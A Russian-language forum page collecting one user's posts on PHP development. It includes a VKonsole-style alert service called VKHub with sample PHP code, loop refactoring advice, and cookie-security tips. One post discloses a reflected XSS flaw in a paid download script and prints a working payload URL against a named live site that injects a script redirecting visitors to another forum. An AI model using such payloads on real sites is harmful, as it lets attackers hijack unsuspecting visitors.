Список сообщений VITAMIN

VKHub - оповещания для админов в ВК.
Всё работает smile
Написал: VITAMIN
VKHub - оповещания для админов в ВК.
Наверно, text в urlencode нужно, разве нет?
Randy (Сегодня / 17:38)
http_build_query с этим справляется.
Написал: VITAMIN
VKHub - оповещания для админов в ВК.
Полезный сервис. Как с конкуренцией?
nickzakharevich (Сегодня / 14:02)
Никак.
Подобных сервис просто нет =)
Сегодня только запустил.
Написал: VITAMIN
VKHub - оповещания для админов в ВК.
На основе прежнего сайта-сервиса я открыл API для разработчиков.
Каждый админ сайта сможет поместить оповещания со своего сайта в личные сообщения ВКонтакте (для себя), используя запрос из своего PHP скрипта.

Заходим на http://vkhub.top
Нажимаем "Войти в админ аккаунт" (прикрепляется Ваш акк ВК) и попадаете в панель, где будет сгенерирован готовый PHP код для вставки в Ваш скрипт.

В общем войдите и все увидите сами smile
Пока что все тестируется с одного (старого) бот аккаунта, как антиспам вк на все это реагирует..
По этому пока что все бесплатно и взамен ничего не требую.

Еще..
Анонимность ваших аккаунтов гарантируется.

Все это описано в панели, но напишу и здесь..

Структура HTTP запроса для API: (можно протестировать даже в адресной строке браузера)
http://api.vkhub.top/?key=ваш_ключ&text=ваш_текст

И код для вашего проекта.


$VkHub_Key = 'ключ'; //Ваш ключ в системе VkHub (здесь Ваш реальный ключ)
$VkHub_Text = 'Привет админ'; //Ваш текст для отправки сообщения

file_get_contents('http://api.vkhub.top/?'.http_build_query(
array('key' => $VkHub_Key,
  'text' => $VkHub_Text)),
  false,
  stream_context_create(
  array(
  'http' => array(
  'timeout' => 1
  )
  )
  ));

Написал: VITAMIN
Рефакторинг кода
Замени $i++ на ++$i
D

Добавлено через 05:39 сек.
Башка (10 Января 2015 / 17:11)
А iterate зачем?

Добавлено через 06:14 сек.
<?php
public function parse($source) {
        $source = nl2br($source);
        foreach ($this->parsers as $name => $parser) {
                for ($i=0; $i <= (isset($parser['iterate']))? $parser['iterate'] : 1; $i++) {
                    if (isset($parser['callback'])) {
                        $source = preg_replace_callback($parser['pattern'], array($this, $parser['callback']), $source);
                    } else {
                        $source = preg_replace($parser['pattern'], $parser['replace'], $source);
                    }
                }
        }
        return $source;
    }

Но ООП какое то натянутое, если честно. Да и трудозатратное решение выходит.

Ты вкурсе что твой варик с
for ($i=0; $i <= (isset($parser['iterate']))? $parser['iterate'] : 1; $i++)
будет еще более тормозной.
Т.к. это условие будет проверятся с каждой итерацией.
Написал: VITAMIN
Нужен php кодер
Пиши в лс.

Последняя найденая уязвимость
http://visavi.net/forum/topic.php?tid=41673
Написал: VITAMIN
Уязвимость SEA Downoloads
Собственно платный движек:
http://wapinet.ru/buy_php_scripts
Пример:
http://sea.wapinet.ru/

Уязвимость:
http://sea.wapinet.ru/?url=somebody.com&style=sea.wapinet.ru/style/style.css"><script>location.href="//visavi.net";</script>

Если хотя бы раз подключить юзера к этому линку,то при переходе на
http://sea.wapinet.ru
его будет бросать на http://visavi.net smile
Написал: VITAMIN
Опасность Cookies в HTTP
10. Tegos, да,если главная проблема - кривые руки smile
Написал: VITAMIN
Опасность Cookies в HTTP
Для безопасности куки нужно устанавливать в режиме http only,таким образом хацкер не сможет получить их с JS и отправить на сниффер
Написал: VITAMIN
Neiron framework
KpuTuK (29 Ноября 2014 / 15:57)
23. VITAMIN, всем)))

Чем всем?D
Написал: VITAMIN